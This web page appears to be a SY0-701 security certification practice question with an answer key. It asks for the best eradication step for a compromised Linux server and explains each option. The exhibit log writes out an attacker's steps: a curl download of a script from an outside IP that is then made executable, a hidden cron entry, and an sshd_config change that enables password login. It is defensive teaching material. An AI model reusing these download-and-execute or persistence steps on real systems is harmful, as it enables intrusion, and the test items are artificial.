SY0-701 Security Operations Practice Question
Exhibit
Linux server audit summary: APP-SRV14 10:22:13 sshd: Accepted publickey for appsvc from 10.5.14.22 10:23:01 sudo: appsvc ran /usr/bin/curl https://198.51.100.44/p.sh -o /tmp/.x 10:23:09 sudo: appsvc ran chmod +x /tmp/.x 10:23:11 /tmp/.x created /etc/cron.d/.maint 10:23:20 /etc/ssh/sshd_config modified to allow PasswordAuthentication yes 10:24:02 outbound traffic blocked by segmentation rule IR note: host is isolated, disk image has not been taken yet, and the business wants the service restored today
Based on the exhibit, what is the best eradication decision for the server compromise?
⚠ Common exam trap
Watch out — candidates often think manual remediation (Option B) is sufficient because they underestimate the attacker's ability to hide persistence mechanisms, or they confuse containment (e.g., isolating the server) with eradication (completely removing the threat).
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
A server compromise implies that the attacker may have achieved persistence through modified binaries, kernel modules, or rootkits that cannot be reliably removed by simple remediation steps. Rebuilding from a trusted image ensures that all malicious artifacts are eliminated, and restoring only known-good data from backups (after forensic preservation) prevents reintroduction of compromised files. This aligns with the CompTIA incident response process, where eradication must remove all traces of the threat, and rebuilding is the safest approach for a confirmed compromise.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
Restart sshd and monitor the system for another login attempt.
Why it's wrong here
Restarting sshd only restarts the SSH daemon process; it does not clean the malicious script, remove the cron persistence, or undo the SSH configuration changes (e.g., added authorized_keys entries or altered sshd_config). Monitoring alone cannot remediate an active compromise; the attacker retains persistence and remote access. This action is reactive, not an eradication step.
- ✗
Manually delete the cron entry and reverse the SSH change on the live server.
Why it's wrong here
Manually editing a live compromised host is risky because attackers often plant multiple backdoors, tamper with system binaries (e.g., sshd, ps, netstat) to hide their presence, and maintain alternate persistence mechanisms. Removing only the visible cron entry and SSH setting leaves the system in an untrusted state, and touching the filesystem may destroy volatile evidence needed to fully understand the attack. In incident response, eradication must follow evidence collection and proceed from a trusted baseline, not ad-hoc on a potentially rootkitted system.
- ✓
Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.
Why this is correct
The server shows multiple signs of compromise: unauthorized key-based access, script download, cron persistence, and SSH configuration tampering. Those indicators make simple cleanup too risky. A rebuild from a trusted image is the most reliable eradication step, especially once the host is isolated. Evidence should be preserved first, then the service should be restored from validated data and a hardened baseline.
- ✗
Increase the SIEM retention period and keep the current server online.
Why it's wrong here
Extending SIEM retention provides future log data but does nothing to eliminate the attacker's existing persistence or restore the integrity of the compromised host. Keeping the server online allows the adversary to continue exploiting the system, move laterally, or exfiltrate data. The only reliable way to restore trust is to rebuild the host, so this is not an eradication action.
Go deeper
Related to this question
Learn chapter
Incident Response Process
Key term
Threat
A threat is any potential danger that could harm a computer system, network, or data, whether from a malicious hacker, a natural disaster, or an accidental mistake.
Key term
Incident
An incident is a security event that violates an organization's policies or threatens its data, systems, or operations, requiring a structured response.
About these practice questions
One of 1,013 original SY0-701 practice questions on Courseiva, each with a full explanation and wrong-answer analysis — not exam dumps or protected exam content. Learn why practice questions differ from exam dumps →
JA
Written by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
This SY0-701 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the SY0-701 exam.